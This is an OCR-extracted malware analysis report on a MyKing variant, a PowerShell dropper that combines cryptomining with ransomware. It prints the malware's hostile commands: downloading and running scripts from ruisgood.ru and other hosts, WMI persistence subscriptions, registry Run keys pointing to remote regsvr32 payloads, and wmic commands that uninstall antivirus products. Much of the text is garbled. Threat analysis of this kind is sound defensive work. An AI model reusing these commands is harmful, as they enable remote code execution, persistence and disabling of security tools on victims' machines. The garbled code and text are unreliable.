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OVERVIEW

E The malware was intercepted by the SubexSecure Honeypot bth September2020.

E The sample interceptedis a dropper written in PowerShell.

E The older variant of MyKing malware was analysed by Tencent.

F The new variantMyKing malware shows functionality of ransomware in addition to

Cryptomining.
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Cryptomining processes.
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extort digital currency or resources in return for the decryption keys or techniques.

PAYLOAD AND INFECTION
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surl="http://ruisgood.ru/kill. txt";

$web = New-Object System.Net.WebClient;

$text = $web.DownloadString(surl);

$list=stext.trim().split(" r'n", [StringSplitOptions]::RemoveEmptyEntries);
for($i=0;%i -1t $list.count;$i++){

$line=$list([$i].trim().split(",");
Get-Process|?{$_.Name -eq ($line[0] -replace "\.["\.]+$","")}
|

|Stop-Process -Force;
Get-WmiObject Win32 Process -Filter ("name='"+$line[0]+"'")|%{$ .Terminate();}
if(sline[2].toString() -eq "1"){

if(test-path -LiteralPath $line[1]){

Remove-Item -LiteralPath $line[1l] -Force;
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uihost64 ndows\syste host64.exe,1
dhelp
msinfo.

1
Lsma30.exe, ndows\inf\a \Lsma 1
lsma3 windows\inf\aspnet\ 1
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New-Item -path c:\windows\inf -name aspnet -type directory

IEX (New-Object system.Net.WebClient).DownloadString('http://ruisg
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wmic.exe product where "name like 'sEset%'® call uninstall /nointeractive
c.exe product where “"name K " call uninstall /nointeractive
product where ke ' s'" call uninstall /nointeractive
product where "name ‘%a call uninstall /nointeractive
where e e ' r call uninstall /nointeractive
where wAntiViruss'® call uninstall /nointera
product where "name like urity%s'" call uninstall /nointeracti
\Progra~1\Malwarebyte ti-M e\ s000.exe" /verysilent /suppressmsgboxes /norestart
/create /tn " / /c start c:\
windo

onstart /F
echo binary>>s&echo get al.exe c:\windows\update

ho get sl.rar c:\windows\help\lsmosee.e:

Fonts\cd /e /d system
add "HKLM\Software\Microsoft\Windo ersion\Run" /v "start" /d "regsvr32 /u /s /i:http://js.down®116.info:280/v1

KLM\Software\wow6432node\Mic f \CurrentVersion\Run" /v tart” /d “regsvr /i:http:/ .down@1 S scrobj.dll" /
ron dolato HKIm\Snftuara\Micracnft\ < n [y tctart1n

Figure4

&OOOEAOhGeEWMIOHRAG® AT I KWxAHEAAE EO OOAA OiF CcAO
AT ACAYTAOD®OOIT AT OAROKAAE RACAAMBIFEEGOAOAT AAIO BIAMG ARA Al

OEEAl O OB ARORDAG hIOOBEAI O O © ABemov® WmiObject 6 AO OEEQDO.

Y

WMIObject -Namespace root\Subscription -Class _ EventFilter -Filter "Name='fuckyoumm3'" | Remove-WmiObject -Verbose
WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='fuckyoummd'" | F imiObject -Verbose
WMIObject -Name oot\Subscription -Cla FilterToConsumerBinding -Filter " _Path LIKE 'S&fuckyoumm%'" | Remove-WmiObject -Verb

WMIObject -Namespac oot\Subscription 58 EventFilter -Filter "Name \, i mu s E ‘" | Remove-WmiObject -Verbose
WMIObjec Namespace root\Sub iption CommandLineEventConsumer -Fil me='Windows > Consumer'" | Remove-WmiObject -Verbose
WMIObjec Name oot\Subscription FilterToConsumerBinding -F H,t r " _Path LIKE ' ndows Events Filter | Remove-WmiObject -Verbo

\MIObject -Namesp oot\Subscription s EventFilter -Filter "Name='fuckamm3'" | Remove-WmiObject -Verbos

WMIOb]ec N2 pace root scription < entFilter -Filter "Name='fuckamm4'" | Remove-WmiObje Verbose

MIObjec spa oot pscription -C CommandLin ntConsu; Filter "Name='fuckamm4'" | Re

WMIObject -Namespac oot\Subscription FilterToConsumerBinding -Filter " Path LIKE '%fuckamms | Remove-WmiObject -Verbose

n amespace root\Subscript Clas ntFilte Filter "N coronav'" | Remove-WmiObject
oot\Subscription -Class EventFilte Filter "Name='coronav2 Remove-WmiObject
oot\Subscription CommandLineEventConsumer -Filter "Name='coronav2'" | Remove-W E
-Namespa oot\Subscription FilterToConsumerBinding -Filter Path LIKE '%coronav’ Remove-WmiObject -Verbose
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$filterName = 'coronav’
$consumerNam ‘coronav2’
$exePath ‘emd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString(''http://ruisgood.ru/power.txt'")||powershell.exe IEX (New-Object
system.Net bClient).DownloadString(''http://gamesoxalic.com/power.txt'"')||regsvr32 /u /s /i:http://ruisgood.ru/s.txt scrobj.dll&regsvr32 /u /s /
b ic os get /FORMAT:"http://ruisgood.ru/s
FROM InstanceModificationEvent WITHIN 10960 WHERE TargetInstance ISA 'Win32 PerfFormattedData Perf0S System'"
Set-Wmilnstance -Class EventFilter -NameSpace "root\subscription" -Arguments
filterName; EventNameSpac oot\cimv2";QuerylLanguag QL" ,Oueryfs()uevy) -ErrorAction Stop
Set-WmilInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments N rName ; CommandLineTemplate=$exe

Set- \ImInstrm(P -Class FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$W {IEventFilter; Consumer=$WMIEventConsumer}

$filterName ‘' fuckamm3'
$consumerNam ' fuckamm4 '

$ Path cmd /c start c:\windows\inf\aspnet\lsmal2.exe -p'
$Query SELECT * FROM InstanceModificationEvent \IITHIH 180 WHERE TargetInstance ISA 'Win32 PerfFormattedData Perf0S System'

M\IEventFilter Set-WmiInstance -Cl EventFil -NameSpace "root\subscription” -Arguments
{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL" Ouer/ $Query} -ErrorAction Stop
$WMIEventConsumer Set-WmilInstance -Class CommandLineEventConsu -Namespace "root\subscription" -Arguments @{N consumerName ; CommandLineTemplate:
Set-Wmilnstance -Class FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$¥ IIEantFlltel,(onsumpr $WMIEventConsumer}
wmic os get caption
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Then, with the help of IEX (Invoke Expressio) method i.e fi(New- Object
system.Net.WebClient ).DownloadFile () 6 a few files are dropped at different
locations with different names. After downloading, the files are executed. It also terminates
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GET /kill.txt HTTP/1.1
Host: ruisgood.ru
Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/plain

Last-Modified: Tue, 18 Feb 2020 21:12:23 GMT
Accept-Ranges: bytes

ETag: "3ed4d31cafe6d51:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2020 12:13:00 GMT
Content-Length: 901

uihost64.exe, c:\windows\system\uihost64.exe,1
dhelper.exe, c:\windows\system\dhelper.exe,1
msinfo.exe, c:\windows\system\msinfo.exe,1
u.exe, c:\windows\inf\aspnet\u.exe, 1
1smose.exe, C:\Windows\debug\lsmose.exe,1
1smos.exe, C:\Windows\debug\lsmos.exe,1
1smo.exe, C:\Windows\debug\lsmo.exe,1
csrw.exe,C:\Program Files (x86)\Common Files\csrw.exe,1
csrw.exe,C:\Progra~1\Common Files\csrw.exe,1
1smosee.exe,c:\windows\help\lsmosee.exe, 1
1smma.exe, c:\windows\inf\lsmma.exe, 1
1smm.exe, c:\windows\inf\1lsmm.exe, 1
1smmaa.exe, c:\windows\inf\lsmmaa.exe, 1
1smma.exe, c:\windows\inf\lsmma.exe, 1

new.exe, c:\windows\system32\new.exe, 1
upsupx.exe, c:\windows\system32\upsupx.exe,1
1sma.exe,c:\windows\inf\aspnet\lsma.exe, 1
1smab.exe,c:\windows\inf\aspnet\lsmab.exe,1
1smaaa.exe, c:\windows\inf\aspnet\lsmaaa.exe,1
1sma30.exe, c:\windows\inf\aspnet\1lsma30.exe, 1
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|__GENUS =
__CLASE __FilterToConsumerBinding
SUPERCLASS IndicationRelated
NASTY stemClass
RELPATH H 1terToConsumerBinding . Consumer="CommandLineEventConsumer .Name =\"coronav2\"",Filter=

ntFilter.Name=\"coronauv\""
|__PROPERTY_COUNT = 7
|__DERIUATION = (_égﬁgat ionRelated, _ SystemClass}

__NAMESPACE = ROOT\subscription
__PATH H RZONE1\RO bhscription:__FilterToCo pBindi r="ConmandLine EventConsumer.Nan
\"coronav\ ilter="__EventFilter
= CummandLineEue;tCunsumeP.Nane= 'coronav2
De liverSynchronously
De LiveryQGo &
Filter e ntFilter.Name="coronauv"
MaintainSecurityContext :
S lowDounProviders =

GENUS
ASS 1lterToConsumerBinding
PERCLASS dicationRelated
| DYNASTY _ SystenClass
| RELPATH : __FilterToConsumerBinding.Consumer="CommandLineEventConsumer.Name =\"fuckannd\"",Filter=
ntFilter.Name=\"fuckann3\""
PROPERTY_COUNT

] =7
__DERIUATION {__IndicationRelated, _ SystemClass}
RZONEL

| NAMESPACE ROOTNsubscription
__PATH A\HARZONE1\RO!

"fuckanmds ilter
= CommandLineEventConsuner.Nane ="fuckann4
= {1, 5.8, 08...>
De liverSynchronously : False
DeliveryQoS H
Filter : __FEuentFilter.Name="fuckann3"
MaintainSecurityContext =
S lowDounProvide =

iCaption
Microsoft Windows 7 Professional
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|| 6e4829dB847e0d48628b7a2e05fb29b1del... KRAB File 71 KB

|| 9f8784 cbb56cB2dfald5d cdbifdisfIebfcb.. KRAE File 21 KB

| 705fal50472a0e07d31ef7 ecfeabebfb8a744.., KRAB File 437 KB

|| aBf6a7dbdl1b294d3b6805dadcd15715c04.. KRAE File 4 KB

L | dbusex.KRAB KRAB File 1 KB
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to decrypt the files.
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